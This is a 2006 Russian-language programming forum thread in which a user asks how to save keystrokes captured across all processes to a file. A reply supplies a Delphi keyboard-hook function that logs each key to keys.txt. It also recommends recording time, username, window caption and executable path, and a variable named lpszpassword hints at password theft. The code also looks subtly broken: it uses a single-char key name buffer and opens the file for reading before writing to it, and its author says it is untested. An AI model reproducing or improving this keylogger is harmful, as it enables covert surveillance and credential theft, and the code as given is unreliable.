Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Please Help.

12K
14 сентября 2006 года
Daim
22 / / 26.05.2006
Имеется код отлавливания всех клавиш во всех процессах.
Но проблема в том как из этого приложения сохранять отлавливаемые нажатия в файл?
Исходники в архиве.
Пожалуйста помогите...
12K
18 сентября 2006 года
Daim
22 / / 26.05.2006
Это что действительно такой сложный проэкт, что никто и отписаться не может??
8 просмотров = 0 ответов. Cool.
339
18 сентября 2006 года
verybadbug
619 / / 12.09.2005
работа с файлами:
1. переменные типа File
2. MemoryStream, FileStream
1.9K
19 сентября 2006 года
Borland_prog
149 / / 25.01.2006
На тупые вопросы не кто отвечать и не хочет
257
21 сентября 2006 года
kosfiz
1.6K / / 18.09.2005
2Borland_prog
впринципе согласен, но раз он спросил, то отвечу - с надеждой, что моё сообщение модераторы не удалят как в прошлый раз.
Daim
вообщем тебя обманули - этот код не отлавливает нажатие клавиш во всех процессах. чтоб все было так как надо пиши так:
Код:
function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;

var
  f:textfile;
  szKeyName:Char;
begin
lpszpassword:=PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP)= 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
assignfile(f,'keys.txt');
if fileexists(f) then
begin
reset(f);
writeln(f,szKeyName);
closefile(f);
end
else
begin
rewrite(f);
writeln(f,szKeyName);
closefile(f);
end;
result:= 0;
end
else result:= CallNextHookEx(g_hhk, nCode, Wparam, lParam);
end;

это из keyboardhook.pas. Вроде должно быть правильно - к сожалению проверить возможности не было. Да и еще неплохо бы было записывать время, имя пользователя, каптион окна и другую полезную инфу, которая может понадобиться, например: 01.10.2006 19:19 Username WindowCaption Process ExePath Key.
12K
19 октября 2006 года
Daim
22 / / 26.05.2006
Сорри, раньше ответить я не мог...
to kosfiz Спасибо тебе огромное!
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог